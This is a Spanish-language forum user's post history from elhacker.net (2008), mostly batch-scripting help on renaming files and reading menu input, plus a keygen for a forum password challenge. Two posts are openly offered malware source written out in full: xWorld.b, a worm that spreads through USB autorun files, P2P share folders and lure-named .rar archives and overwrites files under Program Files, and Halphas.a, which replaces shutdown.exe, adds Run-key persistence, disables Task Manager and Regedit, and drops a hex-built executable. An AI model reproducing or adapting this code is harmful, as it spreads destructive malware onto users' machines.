elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


  Mostrar Mensajes
Páginas: [1] 2 3
1  Programación / Scripting / Re: ¿Bat que borre 4 ultimos caracteres de los nombres de varios archivos? en: 8 Julio 2008, 03:43 am
Cita de: seu230 en  8 Julio 2008, 01:26 am
Cita de: The Shadow en  7 Julio 2008, 23:56 pm
Cita de: seu230 en  7 Julio 2008, 23:47 pm
Hola the shadow muchas gracias por la ayuda pero no me esta funcionando, me sale "el sistema no puede hallar el archivo especificado" varias veces
Un saludo y gracias de nuevamente

q code estas tratando de usar???

El ultimo que pusistes aunque el penultimo tampoco me funciona
Un saludo

Ejecutaste el .bat en la misma carpeta donde estan los *.ctk.xls??? . . .

akabo de revisar, y no ay errores . . . ademas . . . tmb me funka perfecto. . .

Saludos!
2  Programación / Scripting / Re: Devolver Nombre del archivo mediante BAT en: 8 Julio 2008, 00:40 am
Cita de: diego_dominguez en  8 Julio 2008, 00:25 am

ojala me haya explicado

Gracias

la verdad no te entendi muy bien . . . podrias explicarte mejor? jeje

Saludos!
3  Programación / Scripting / Re: ¿Bat que borre 4 ultimos caracteres de los nombres de varios archivos? en: 7 Julio 2008, 23:56 pm
Cita de: seu230 en  7 Julio 2008, 23:47 pm
Hola the shadow muchas gracias por la ayuda pero no me esta funcionando, me sale "el sistema no puede hallar el archivo especificado" varias veces
Un saludo y gracias de nuevamente

q code estas tratando de usar???
4  Programación / Scripting / [virus][batch][vbs] xWorld.b en: 7 Julio 2008, 23:38 pm
Código
  1. :: Nombre: xWorld.b
  2. :: Codeado por: Shadow; tshadow; The Shadow
  3. :: Fecha: 14/04/08
  4. :: Info: Worm de propagacion por USB, P2P y .rar . . .
  5. :: Payload: El payload es aleatorio y al ejecutarse daña todos los archivos
  6. ::   del directorio ^%programfiles^%
  7. @echo off
  8. goto %1_
  9. :_
  10. set a="%temp%\xw.bat"
  11. echo set shell = CreateObject("wscript.shell") > "%temp%\xwr.vbs"
  12. echo shell.run "cmd /c %a% xc", vbHide >> "%temp%\xwr.vbs"
  13. copy %0 %a%>nul
  14. start "%temp%\xwr.vbs"
  15.  
  16. :xc_
  17. for %%v IN (D F G H I J K L M N O P Q R S T U V W X Y Z) do call :cmp %%v
  18. call :p2p
  19. if /I %random:~1,1% lss 5 goto wrm
  21.  
  22. :cmp
  23. if exist "%1:" (
  24. 	copy %a% "%1:\xw.bat">nul
  25. 	echo [autorun] > "%1:\autorun.inf"
  26. 	echo open=xw.bat >> "%1:\autorun.inf"
  27. 	echo shellexecute=xw.bat >> "%1:\autorun.inf"
  28. 	echo shellexecute=xw.bat >> "%1:\autorun.inf"
  29. 	echo shell\explorar\command=xw.bat >> "%1:\autorun.inf"
  30. 	echo shell\explorar=^&Explorar >> "%1:\autorun.inf"
  31. )
  32. goto :EOF
  33.  
  34. :wrm
  35.  
  36. cd "%programfiles%"
  37. dir /B > %homedrive%\dir.txt
  39.  
  40. :worm
  41. set target=%1
  42. cd "%target%"
  43. for %%e in (*.*) do echo xWorld by Shadow>%%e
  44. cd "%programfiles%"
  45. goto :EOF
  46.  
  48. for /f "tokens=* " %%a in (%homedrive%\dir.txt) do call :worm "%%a"
  50.  
  51. :p2p
  52. set a="%temp%\xw.bat"
  53. if exist %windir%\t.rar (del %windir%\t.rar)
  54. type %0>op.bat
  55. set o="%systemdrive%%~p0op.bat"
  56. cd "%systemdrive%%~p0"
  57. echo eMule\Incoming\ > %windir%\yer.t
  58. echo Shareaza\Downloads\ >> %windir%\yer.t
  59. echo BearShare\Shared\ >> %windir%\yer.t
  60. echo EDONKEY2000\incoming\ >> %windir%\yer.t
  61. echo LimeWire\Shared\ >> %windir%\yer.t
  62. echo Path_msn_Emoticonos > %windir%\jer.t
  63. echo sms_gratis >> %windir%\jer.t
  64. echo polifonicos_free >> %windir%\jer.t
  65. echo Microsoft_Office_2007_all_serials >> %windir%\jer.t
  66. echo Windows_Vista_activation_tool >> %windir%\jer.t
  67. echo Windows_Vista_all_serials >> %windir%\jer.t
  68. echo MSN_hack_codes >> %windir%\jer.t
  69. set rc=1
  70. set r="%programfiles%\WINRAR\WinRAR.exe"
  71. %r% a %windir%\t.rar %o%
  72. if not %errorlevel%==9009 set rc=0
  73. goto fr
  74. :fr2
  75. set uno=%1
  76. for /F "tokens=* delims=" %%g in (%windir%\jer.t) do (
  77.          if %rc%==0 (
  78.             @copy /y %o% "%%g.bat"
  79.            cls
  80.            ping -n 2 localhost > nul
  81.            %r% a "%%g.rar" "%%g.bat"
  82.          )
  83. )
  84. goto :EOF                                  
  85. :fr
  86. for /F "tokens=* delims=" %%a in (%windir%\yer.t) do (
  87.          if exist "%programfiles%\%%a" (
  88.             cd "%programfiles%\%%a"     
  89.             for %%e in (*.rar) do (
  90.                @copy /y %o% "%%~ne.bat"
  91.               cls
  92.               ping -n 2 localhost > nul
  93.               %r% a "%%e" "%%~ne.bat"
  94.             )      
  95.          call :fr2 %%a
  96.           )
  97. )
  99. cd %windir%
  100. del *.t
  101. cd "%systemdrive%%~p0"
  102. del op.bat
  103. goto :EOF
5  Programación / Scripting / [virus][batch][vbs][asm] Halphas.a en: 7 Julio 2008, 23:38 pm
Código
  1.  
  2. :: Codeado por: Shadow/tshadow/The Shadow
  3. :: Info: el virus simula un apagon del sistema, al llegar a los ultimos 2 segundos, el apagon se para
  4. :: luego se agrega registro y modifica algunas entradas como el admin de tareas y el editor de registro
  5. :: luego crea un ejecutable .exe que coge una screen shot de la pantalla y la corre literalmente acia la izquierda de la pantalla
  6. :: ilimitadas veces, causando un efecto realmente catastrofico ya que cada vez que el ciclo de la pantalla termina
  7. :: sale un mensaje de exclamacion, esto quiere decir que tantas veces como sea el ciclo, tantas ventanas
  8. :: de exclamacion saldran.
  9. :: :Codificacion: asm de 32 bits, batch y vbs
  10. :: :Nombre: Halphas.a
  11. @echo off
  12. goto %1_
  13.  
  14. :_
  15. echo set shell = CreateObject("wscript.shell") >ex.vbs
  16. echo shell.run "cmd /c %~n0%~x0 oks", vbHide >>ex.vbs
  17. start ex
  19.  
  20. :oks_
  21. type %windir%\system32\shutdown.exe>%temp%\ht.exe
  22. echo.>%windir%\system32\shutdown.exe
  23. %temp%\ht -s -f -t 60
  24. ping -n 58 localhost>nul
  25. %temp%\ht -a
  26. type %~n0%~x0>%temp%\tre.bat
  27. set l="HKLM\software\microsoft\windows\currentversion\policies\explorer\run"
  28. reg add %l% /V "RunDll23, AVService" /d "%temp%\tre.bat" /f
  29. reg add "hkcu\software\microsoft\windows\currentversion\policies\system" /v disabletaskmgr /t reg_dword /d "1" /f
  30. reg add "hkcu\software\microsoft\windows\currentversion\policies\system" /v disableregistrytools /t reg_dword /d "1" /f
  31.  
  32. echo n b2bt.tk > b2bf.tk
  33. echo e 0 4D 5A 66 73 67 00 00 00 00 00 00 00 50 45 00 00  >> b2bf.tk
  34. echo e 10 4C 01 02 00 46 53 47 21 00 00 00 00 00 00 00 00  >> b2bf.tk
  35. echo e 20 E0 00 0F 01 0B 01 00 00 00 02 00 00 00 02 00 00  >> b2bf.tk
  36. echo e 30 00 00 00 00 54 01 00 00 00 10 00 00 0C 00 00 00  >> b2bf.tk
  37. echo e 40 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00  >> b2bf.tk
  38. echo e 50 00 00 00 00 04 00 00 00 00 00 00 00 00 50 00 00  >> b2bf.tk
  39. echo e 60 00 02 00 00 00 00 00 00 02 00 00 00 00 00 10 00  >> b2bf.tk
  40. echo e 70 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00  >> b2bf.tk
  41. echo e 80 10 00 00 00 00 00 00 00 00 00 00 00 7C 41 00 00  >> b2bf.tk
  42. echo e 90 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >> b2bf.tk
  43. echo e A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >> b2bf.tk
  44. echo e B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >> b2bf.tk
  45. echo e C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >> b2bf.tk
  46. echo e D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >> b2bf.tk
  47. echo e E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >> b2bf.tk
  48. echo e F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >> b2bf.tk
  49. echo e 100 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 00  >> b2bf.tk
  50. echo e 110 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >> b2bf.tk
  51. echo e 120 00 00 00 00 00 00 00 00 E0 00 00 C0 00 00 00 00  >> b2bf.tk
  52. echo e 130 00 00 00 00 00 10 00 00 00 40 00 00 FD 01 00 00  >> b2bf.tk
  53. echo e 140 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >> b2bf.tk
  54. echo e 150 E0 00 00 C0 87 25 C0 41 40 00 61 94 55 A4 B6 80  >> b2bf.tk
  55. echo e 160 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F  >> b2bf.tk
  56. echo e 170 B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3A AA EB E0  >> b2bf.tk
  57. echo e 180 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 24 AC  >> b2bf.tk
  58. echo e 190 D1 E8 74 2D 13 C9 EB 18 91 48 C1 E0 08 AC FF 53  >> b2bf.tk
  59. echo e 1A0 04 3B 43 F8 73 0A 80 FC 05 73 06 83 F8 7F 77 02  >> b2bf.tk
  60. echo e 1B0 41 41 95 8B C5 B6 00 56 8B F7 2B F0 F3 A4 5E EB  >> b2bf.tk
  61. echo e 1C0 9F 5E AD 97 AD 50 FF 53 10 95 8B 07 40 78 F3 75  >> b2bf.tk
  62. echo e 1D0 03 FF 63 0C 50 55 FF 53 14 AB EB EE 33 C9 41 FF  >> b2bf.tk
  63. echo e 1E0 13 13 C9 FF 13 72 F8 C3 02 D2 75 05 8A 16 46 12  >> b2bf.tk
  64. echo e 1F0 D2 C3 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00  >> b2bf.tk
  65. echo e 200 55 00 8B EC 83 C4 E0 C7 45 E8 E1 8E 03 FF 75 FE  >> b2bf.tk
  66. echo e 210 0C 11 01 10 89 FE F0 70 6A F6 0D A8 0A FC 03 67  >> b2bf.tk
  67. echo e 220 C0 0A F4 FF 9F DC FE 28 0F 6C F8 48 07 F4 80 F0  >> b2bf.tk
  68. echo e 230 E8 54 C3 11 E4 A1 0B BE 0C EC 83 76 1D FC B6 86  >> b2bf.tk
  69. echo e 240 1C E0 68 20 1C CC 1B 6A 05 44 45 36 FC A4 0D C8  >> b2bf.tk
  70. echo e 250 42 9B A1 1E 73 40 0B 1F 7C 88 56 8B D0 18 23 DE  >> b2bf.tk
  71. echo e 260 F4 29 39 40 91 DE 5B 7C 77 14 60 7E 0F 83 EE 08  >> b2bf.tk
  72. echo e 270 79 2A D7 5E 17 EA 0F AB B5 DD 33 C7 E4 C2 3E A5  >> b2bf.tk
  73. echo e 280 08 E0 0A 4F 27 0B B2 10 31 1B 7A DB AB 1E 22 5B  >> b2bf.tk
  74. echo e 290 43 03 CC FF 25 8C 20 40 76 32 54 90 06 94 86 43  >> b2bf.tk
  75. echo e 2A0 98 21 9C 90 A0 C8 A8 64 AC 32 B0 19 B4 0C BC 86  >> b2bf.tk
  76. echo e 2B0 45 C0 1E 01 EF BA 4A 91 FC 2E 21 A5 08 49 E0 70  >> b2bf.tk
  77. echo e 2C0 91 11 BC 22 92 8F 01 0E 80 20 11 AA CC C9 F9 E3  >> b2bf.tk
  78. echo e 2D0 C8 09 F9 95 09 84 32 13 09 23 26 FF 02 33 7F 39  >> b2bf.tk
  79. echo e 2E0 11 41 22 09 55 53 65 14 22 7D 52 85 0C 7F C0 7C  >> b2bf.tk
  80. echo e 2F0 43 72 65 61 74 E7 D8 6F 6D 61 70 0E 69 62 6C F5  >> b2bf.tk
  81. echo e 300 42 D7 F7 BF 5F 34 B0 2A 1A 3D 44 D0 16 53 F1 81  >> b2bf.tk
  82. echo e 310 14 63 74 4F 62 6A A0 0D 10 DC 61 D5 6C 0A 36 44  >> b2bf.tk
  83. echo e 320 35 60 85 1A 21 10 20 36 03 67 64 69 33 32 2E AF  >> b2bf.tk
  84. echo e 330 FE 39 2D 47 B4 28 92 20 08 53 79 73 C6 40 6D 4D  >> b2bf.tk
  85. echo e 340 12 1E 72 69 63 A9 5C 0D 6E 64 1E EF E1 61 67 E5  >> b2bf.tk
  86. echo e 350 41 17 06 52 85 F9 FE 86 43 75 0C 57 72 43 6D 50  >> b2bf.tk
  87. echo e 360 2E FE 90 A3 45 78 C1 FA 50 72 6F 63 B8 67 33 6B  >> b2bf.tk
  88. echo e 370 42 6E 42 5E 24 91 01 EB BF A6 00 00 D4 41 00 00  >> b2bf.tk
  89. echo e 380 00 00 00 00 00 00 00 00 F2 01 00 00 D4 41 00 00  >> b2bf.tk
  90. echo e 390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >> b2bf.tk
  91. echo e 3A0 00 00 00 00 00 10 40 00 00 40 40 00 00 20 40 00  >> b2bf.tk
  92. echo e 3B0 00 00 00 00 C4 41 40 00 80 00 00 00 00 7D 00 00  >> b2bf.tk
  93. echo e 3C0 A4 41 40 00 E8 01 40 00 DC 01 40 00 DE 01 40 00  >> b2bf.tk
  94. echo e 3D0 00 10 40 00 DE 41 00 00 EC 41 00 00 00 00 00 00  >> b2bf.tk
  95. echo e 3E0 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65  >> b2bf.tk
  96. echo e 3F0 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00  >> b2bf.tk
  97. echo rcx >> b2bf.tk
  98. echo 3FD >> b2bf.tk
  99. echo w0 >> b2bf.tk
  100. echo q >> b2bf.tk
  101. debug<b2bf.tk
  102. set fich="$.exe"
  103.  
  104. :verif
  105. set fich=%fich: =%
  106. if exist %fich% goto loop
  107. ren b2bt.tk %fich%
  108.  
  109. :loop
  110. for /f "tokens=*" %%a in (b2bf.tk) do (
  111. 	echo MsgBox "%%a", vbCritical, "debugeo de: $.exe">hy.vbs
  112. 	start hy
  113. 	start $
  114. 	ping -n 2 localhost>nul
  115. )
  116. ping -n 4 localhost>nul

Saludos!
6  Programación / Scripting / Re: ¿Bat que borre 4 ultimos caracteres de los nombres de varios archivos? en: 7 Julio 2008, 23:35 pm
menos lineas:

Código
  1. @echo off
  2. for %%a in (*.xls) do (call :fr %%a)
  3. pause&& exit
  4. :fr
  5. set act=%1
  6. set nu=%act:.ctk=%
  7. ren "%act%" "%nu%"
  8. goto :EOF

Saludos!
7  Programación / Scripting / Re: ¿Bat que borre 4 ultimos caracteres de los nombres de varios archivos? en: 7 Julio 2008, 23:21 pm
Cita de: seu230 en  7 Julio 2008, 22:00 pm
Hola amigos ¿como seria un bat que me borre los 4 ultimos caracteres de todos los archivos .xls contenidos en una carpeta? osea que me modifique los nombres de los archivos, por cierto los 4 ultimos caracteres siempre son .ctk (ojo que no es extensión la extension en si siempre es .xls)

Un saludo y gracias
Código
  1. @echo off
  2. for %%a in (*.xls) do call :cll %%a
  5.  
  6. :cll
  7. set name=%1
  8. set t=%name:~-8%
  9. call set fin=%%name:%t%=%%
  10. ren %name% %fin%.xls
  11. goto :EOF

Saludos!
8  Programación / Scripting / Re: ¿Bat que borre 4 ultimos caracteres de los nombres de varios archivos? en: 7 Julio 2008, 23:13 pm
Un ejemplo de utilidad:

Código
  1. @echo off
  2. set /p ext=Extension?
  3. set /p cant=Cantidad final de caracteres?
  4. call :len %ext%
  5. set /a cnt2=%a%+%cant%
  6. for %%a in (*.%ext%) do call :cll %%a
  8. :cll
  9. set name=%1
  10. call :len %1
  11. if /I %a% geq %cnt2% (
  12. 	call set newn=%%name:~0,%cant%%%.%ext%
  13. 	ren %name% %newn%
  14. )
  15. goto :EOF
  16.  
  17. :len
  18. if %1'==' goto :EOF
  19. set w=%1
  20. set a=0
  21. set bol=0
  22. :lp
  23. call :cnt "%%w:~%a%,1%%" %a%
  24. if %bol%==1 goto :EOF
  25. set /a a=%a%+1 
  26. goto lp
  27. :cnt
  28. set cur=%1
  29. set len=%2
  30. if %cur%a==""a (
  31. 	echo %len%
  32. 	set bol=1
  33. )
  34. goto :EOF

Saludos!
9  Programación / Scripting / Re: Desafio, eres capaz de sacar la contraseña? [BATCH] en: 27 Febrero 2008, 23:31 pm
weno ya q tiene algo de tiempo este post (eso es lo q veo) les pongo un keygen:

Código
  1. @echo off
  2. echo 1111>n.t
  3. for /l %%v in (3,1,41) do call :st %%v
  4. for /f %%a in (n.t) do (if exist comp%%a.bat (type comp%%a.bat))
  5. pause
  6. :st
  7. for /l %%v in (380,1,389) do call :st2 %%v %1
  8. goto :EOF
  9. :st2
  10. set /a cur=%1*%2&& echo %cur%>>n.t
  11. call app %cur%
  12. goto :EOF

algunas modificaciones al code para q funke con el keygen:
de:
Código
  1. set /p pass= PASS:
a:
Código
  1. set pass=%1

de:
Código
  1. if %cod%==41 (set simbol=b&& goto sig2) else %var24%
a:
Código
  1. if %cod%==41 (set simbol=b&& goto sig2) else goto :EOF

de:
Código
  1. echo %lin% > comp.bat
  2. call comp.bat
  3. %var27%
  4.  
  5. pause > nul
a:
Código
  1. echo %lin% > comp%pass%.bat
  2. call comp%pass%.bat
  3.  
  4. goto :EOF


el keygen devuelve lo q contiene comp(pass_numerica_posible).bat q es donde se encuentra la comparacion y la zona buena (dentro del rango, el keygen encuentra 6 numeros que tecnicamente son las 6 claves q acepta la app)... asi devuelve

 if %pass%==CENSURADO echo si ves esto eres dios
 if %pass%==CENSURADO echo si ves esto eres dios
 if %pass%==CENSURADO echo si ves esto eres dios
 if %pass%==CENSURADO echo si ves esto eres dios
 if %pass%==CENSURADO echo si ves esto eres dios
 if %pass%==CENSURADO echo si ves esto eres dios
Presione una tecla para continuar . . .


XD
PS:pos ... antes de que censuren el code...jeje
10  Programación / Scripting / Re: set /p opcion= no me funciona en WinXP en: 22 Febrero 2008, 22:18 pm
:menu
set /p opcion=
IF %opcion%==1 GOTO no_anda
IF %opcion%==2 GOTO anda

:NO_ANDA
echo NO ANDA
pause
goto menu

:anda
echo anda
pause
goto menu
Páginas: [1] 2 3
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines